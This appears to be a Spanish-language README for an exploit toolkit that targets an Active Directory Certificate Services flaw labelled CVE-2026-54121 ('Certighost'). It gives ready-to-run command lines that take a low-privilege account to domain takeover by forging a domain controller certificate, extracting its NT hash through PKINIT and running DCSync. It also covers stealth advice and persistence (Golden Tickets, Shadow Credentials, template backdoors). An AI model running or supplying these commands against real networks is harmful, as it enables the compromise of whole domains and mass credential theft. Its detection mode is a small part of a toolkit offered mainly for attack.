CVE-2026-54121 - AD CS "Certighost" Elevación de Privilegios Framework-Toolkit

Active Directory Certificate Services — Certighost → Toma de control del dominio

Marco de explotación y kit de auditoría
Solo para pruebas de seguridad autorizadas.

¡Advertencia! 🌬️

Este código se ha escrito pensando en un enfoque fácil de usar y es totalmente funcional, priorizando la seguridad, la privacidad y un registro mínimo. Se recomienda eliminar por completo la integración y la librería de Shodan, usar un único hilo en lugar de un grupo de hilos, eliminar el escaneo de puertos y detect_ip, y deshabilitar el registro y la salida. Utilice “stealthcert.py” para esta versión.

CVE-2026-54121 CertiGhost - Referencia de parámetros

📋 Lista completa de parámetros

Parámetros del exploit en Python

stealthcare.py (Explotación segura)

Parámetros del wrapper de PowerShell

🚀 Ejemplos de uso

git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements

Ejemplos ❄️

# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10

# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$

# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10

# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"

PowerShell (Detección)

# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect

Backend Python (Exploit)

# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$

Guardar JSON, modo detección

#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json

🧠 Análisis técnico en profundidad

1. Omisión de validación de destino en AD CS (Certighost)

La vulnerabilidad se origina por comprobaciones de autorización y validación incorrectas (CWE-285) en los Servicios de certificados de Active Directory (AD CS) durante los procesos de inscripción de certificados. Un atacante con credenciales de dominio de privilegios bajos puede manipular los parámetros de redirección del destino para engañar a la entidad de certificación (CA) y hacer que verifique aserciones de identidad contra endpoints rogue.

Endpoint / contexto de solicitud vulnerable:

POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded

... (Certificate Request payload with manipulated target/cdc parameters)

2. Vectores de ataque

• Manipulación del objetivo de rastreo (chase target): un atacante modifica los parámetros de redirección del destino (como cdc / chase target) dentro de la solicitud de certificado, forzando a la entidad de certificación (CA) a enrutar el tráfico de verificación hacia un endpoint especificado.

• Redirección a servidor rogue: la entidad de certificación (CA) inicia conexiones LDAP o SMB hacia el destino proporcionado por el cliente sin validar si el objetivo es un controlador de dominio legítimo y autorizado.

• Falsificación de identidad de DC y emisión de certificados: el servidor rogue controlado por el atacante responde a las consultas de verificación emitidas por la CA en nombre de la cuenta de controlador de dominio objetivo. Basándose en esta respuesta, la CA emite un certificado válido y firmado que lleva la identidad del controlador de dominio.

3. Post-explotación

Obtención del Ticket Granting Ticket (TGT)

Usando el certificado de controlador de dominio obtenido, se realiza la autenticación Kerberos a través de PKINIT (Public Key Cryptography for Initial Authentication) para recuperar un TGT con privilegios elevados.

Ataque DCSync

Con un ticket Kerberos que posee privilegios de controlador de dominio, se extraen los hashes de contraseña de todas las cuentas de la base de datos de Active Directory (p. ej., krbtgt, Administrator) mediante la técnica DCSync.

Persistencia

• Creación de Golden Ticket: los TGT se falsifican bajo demanda utilizando el hash de contraseña extraído de la cuenta krbtgt.
• Credenciales sombra (Shadow Credentials): se añaden claves de certificado no autorizadas al atributo msDS-KeyCredentialLink de las cuentas objetivo para asegurar un acceso persistente.
• Manipulación de plantillas de certificado: se modifican los permisos de las plantillas de AD CS para mantener configuraciones de puerta trasera que permitan una futura escalada de privilegios.

Movimiento lateral

• Control total del dominio: se establecen sesiones con privilegios completos (SYSTEM / Domain Admin) en todos los servidores y estaciones de trabajo del dominio.
• Pivoteo entre bosques (Cross-Forest Pivoting): se logra el acceso a dominios de confianza (Forest Trust) mediante técnicas de SID History o delegación de TGT.

📚 Referencias

• NVD - CVE-2026-54121
• Microsoft Security Update Guide - CVE-2026-54121
• CERT/CC Vulnerability Note
• MITRE ATT&CK - T1649: Steal or Forge Authentication Certificates

🔗 Otros exploits

• CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
• CVE-2026-6875 - ServiceNow Pre-Auth RCE Exploit Framework
• CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
• CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
• CVE-2026-41940 - cPanel/WHM Authentication Bypass